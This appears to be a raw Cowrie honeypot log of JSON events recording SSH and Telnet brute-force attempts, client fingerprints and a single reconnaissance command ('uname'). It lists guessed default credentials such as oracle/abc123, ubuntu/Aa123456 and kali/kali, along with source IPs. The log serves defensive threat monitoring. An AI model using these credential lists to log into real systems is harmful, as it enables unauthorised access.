{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:18.549880Z","src_ip":"176.65.132.254","session":"ddee2ec574b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:18.817889Z","src_ip":"176.65.132.254","session":"ddee2ec574b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:19.028138Z","src_ip":"176.65.132.254","session":"ddee2ec574b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:19.031492Z","src_ip":"176.65.132.254","session":"ddee2ec574b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:19.137978Z","src_ip":"176.65.132.254","session":"ddee2ec574b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:19.143046Z","src_ip":"176.65.132.254","session":"ddee2ec574b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:19.203478Z","src_ip":"103.189.235.176","session":"e10073cf54be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.4921767711639404,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:19.825231Z","src_ip":"165.232.131.181","session":"81b2cd81764b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54930,"dst_ip":"10.17.0.5","dst_port":23,"session":"34d6ad359aca","protocol":"telnet","message":"New connection: 62.210.97.77:54930 (10.17.0.5:23) [session: 34d6ad359aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:22.877197Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56520,"dst_ip":"10.17.0.5","dst_port":22,"session":"32bf7d0d1a3f","protocol":"ssh","message":"New connection: 176.65.132.254:56520 (10.17.0.5:22) [session: 32bf7d0d1a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:22.882352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:23.060328Z","src_ip":"176.65.132.254","session":"32bf7d0d1a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:23.063965Z","src_ip":"176.65.132.254","session":"32bf7d0d1a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:23.417918Z","src_ip":"176.65.132.254","session":"32bf7d0d1a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.92443561553955,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:24.061024Z","src_ip":"62.210.97.77","session":"9f5c03b60a1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:24.502527Z","src_ip":"176.65.132.254","session":"32bf7d0d1a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.09881043434143,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:24.709856Z","src_ip":"62.210.97.77","session":"e7b9db07eb17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54942,"dst_ip":"10.17.0.5","dst_port":23,"session":"508d50ec28b4","protocol":"telnet","message":"New connection: 62.210.97.77:54942 (10.17.0.5:23) [session: 508d50ec28b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:24.848018Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54950,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dee32eea896","protocol":"telnet","message":"New connection: 62.210.97.77:54950 (10.17.0.5:23) [session: 4dee32eea896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:25.254961Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54960,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b9cdaa9eaee","protocol":"telnet","message":"New connection: 62.210.97.77:54960 (10.17.0.5:23) [session: 6b9cdaa9eaee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:25.456878Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42632,"dst_ip":"10.17.0.5","dst_port":23,"session":"314b1c67135e","protocol":"telnet","message":"New connection: 65.60.27.33:42632 (10.17.0.5:23) [session: 314b1c67135e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:25.532030Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54962,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1c88207a6cb","protocol":"telnet","message":"New connection: 62.210.97.77:54962 (10.17.0.5:23) [session: e1c88207a6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:25.608658Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54964,"dst_ip":"10.17.0.5","dst_port":23,"session":"30e9bad618f2","protocol":"telnet","message":"New connection: 62.210.97.77:54964 (10.17.0.5:23) [session: 30e9bad618f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:25.961740Z"}
{"eventid":"cowrie.session.closed","duration":35.276525259017944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:26.633204Z","src_ip":"62.210.97.77","session":"29bf942f2a61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.64722776412964,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:27.408264Z","src_ip":"62.210.97.77","session":"5bca1201b713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56522,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae60827cc344","protocol":"ssh","message":"New connection: 176.65.132.254:56522 (10.17.0.5:22) [session: ae60827cc344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:27.553051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:27.557238Z","src_ip":"176.65.132.254","session":"ae60827cc344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:27.641163Z","src_ip":"176.65.132.254","session":"ae60827cc344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:27.885248Z","src_ip":"176.65.132.254","session":"ae60827cc344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.037617683410645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:27.966889Z","src_ip":"136.144.139.78","session":"a36c633507f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.825905323028564,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:28.188265Z","src_ip":"62.210.97.77","session":"bb62ebb5f438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.12504529953003,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:28.685183Z","src_ip":"62.210.97.77","session":"e7c43307c9bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:28.968695Z","src_ip":"176.65.132.254","session":"ae60827cc344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.383416175842285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:29.083240Z","src_ip":"62.210.97.77","session":"58478817cd26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.99915647506714,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:30.014050Z","src_ip":"62.210.97.77","session":"e50366a040c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.599820613861084,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:31.111555Z","src_ip":"62.210.97.77","session":"5947f1db0fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56532,"dst_ip":"10.17.0.5","dst_port":22,"session":"73e392ed6a16","protocol":"ssh","message":"New connection: 176.65.132.254:56532 (10.17.0.5:22) [session: 73e392ed6a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:31.660182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:31.664695Z","src_ip":"176.65.132.254","session":"73e392ed6a16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:31.747502Z","src_ip":"176.65.132.254","session":"73e392ed6a16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46714,"dst_ip":"10.17.0.5","dst_port":23,"session":"dabf3c61015d","protocol":"telnet","message":"New connection: 62.210.97.77:46714 (10.17.0.5:23) [session: dabf3c61015d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:32.147941Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:32.261451Z","src_ip":"176.65.132.254","session":"73e392ed6a16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:33.347690Z","src_ip":"176.65.132.254","session":"73e392ed6a16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.974408864974976,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:33.665096Z","src_ip":"62.210.97.77","session":"773d109b0d44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.19306659698486,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:34.322672Z","src_ip":"62.210.97.77","session":"f6761c73706e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.68580365180969,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:34.516491Z","src_ip":"62.210.97.77","session":"4ffcb3cbc335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52970,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ffb13032cb0","protocol":"telnet","message":"New connection: 65.60.27.33:52970 (10.17.0.5:23) [session: 6ffb13032cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:35.125704Z"}
{"eventid":"cowrie.session.closed","duration":34.64851379394531,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:35.317174Z","src_ip":"62.210.97.77","session":"23528320d7a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53858,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7bc7e53a4a0","protocol":"ssh","message":"New connection: 176.65.132.254:53858 (10.17.0.5:22) [session: b7bc7e53a4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:36.082367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:36.086368Z","src_ip":"176.65.132.254","session":"b7bc7e53a4a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:36.167839Z","src_ip":"176.65.132.254","session":"b7bc7e53a4a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:36.441819Z","src_ip":"176.65.132.254","session":"b7bc7e53a4a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46724,"dst_ip":"10.17.0.5","dst_port":23,"session":"206b7213d583","protocol":"telnet","message":"New connection: 62.210.97.77:46724 (10.17.0.5:23) [session: 206b7213d583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:37.070224Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46736,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f3a65f31e3","protocol":"telnet","message":"New connection: 62.210.97.77:46736 (10.17.0.5:23) [session: 65f3a65f31e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:37.129982Z"}
{"eventid":"cowrie.session.closed","duration":31.664952516555786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:37.133900Z","src_ip":"62.210.97.77","session":"64370d9d08da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55496,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe3068d570f","protocol":"telnet","message":"New connection: 65.60.27.33:55496 (10.17.0.5:23) [session: fbe3068d570f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:37.341725Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:37.543499Z","src_ip":"176.65.132.254","session":"b7bc7e53a4a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46742,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aafdedcae6a","protocol":"telnet","message":"New connection: 62.210.97.77:46742 (10.17.0.5:23) [session: 5aafdedcae6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:37.905150Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36568,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce581463955d","protocol":"telnet","message":"New connection: 134.209.8.29:36568 (159.203.135.109:23) [session: ce581463955d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:38.271449Z"}
{"eventid":"cowrie.session.closed","duration":33.6978075504303,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:38.276797Z","src_ip":"62.210.97.77","session":"3c924130a82b","protocol":"telnet"}
